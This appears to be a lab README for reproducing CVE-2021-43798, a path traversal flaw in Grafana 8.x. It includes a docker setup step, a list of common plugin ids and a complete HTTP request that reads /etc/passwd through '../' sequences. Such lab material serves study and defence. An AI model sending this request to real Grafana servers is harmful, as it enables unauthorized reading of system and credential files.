Aaron
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66 lines
1.9 KiB
Markdown
66 lines
1.9 KiB
Markdown
# Grafana 8.x Plugin Module File Path Traversal (CVE-2021-43798)
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[中文版本(Chinese version)](README.zh-cn.md)
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Grafana is a multi-platform open source analytics and interactive visualization web application.
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In December 2021, a Twitter user disclosed a 0day vulnerability, that unauthenticated attackers could use this vulnerability to step up web path and download arbitrary files through a craft url of Grafana 8.x.
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References:
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- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
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- https://twitter.com/hacker_/status/1467880514489044993
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- https://nosec.org/home/detail/4914.html
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- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
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## Vulnerable environment
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Execute following command to start a Grafana server 8.2.6:
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```
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docker compose up -d
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```
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After the server start, you can browse the login page at `http://your-ip:3000`, no credential for this vulnerability.
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## Exploit
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The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use `../` to step up from the plugin folder to parent foler and download arbitrary files.
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To exploit the vulnerabilty, you should know a valid plugin id, such as `alertlist`, here are some of common plugin ids:
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```
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alertlist
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cloudwatch
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dashlist
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elasticsearch
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graph
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graphite
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heatmap
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influxdb
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mysql
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opentsdb
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pluginlist
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postgres
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prometheus
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stackdriver
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table
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text
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```
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Send following request to retrieve the `/etc/passwd` (you can replace the `alertlist` with any valid plugin id):
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```
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GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
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Host: 192.168.1.112:3000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
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Connection: close
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```
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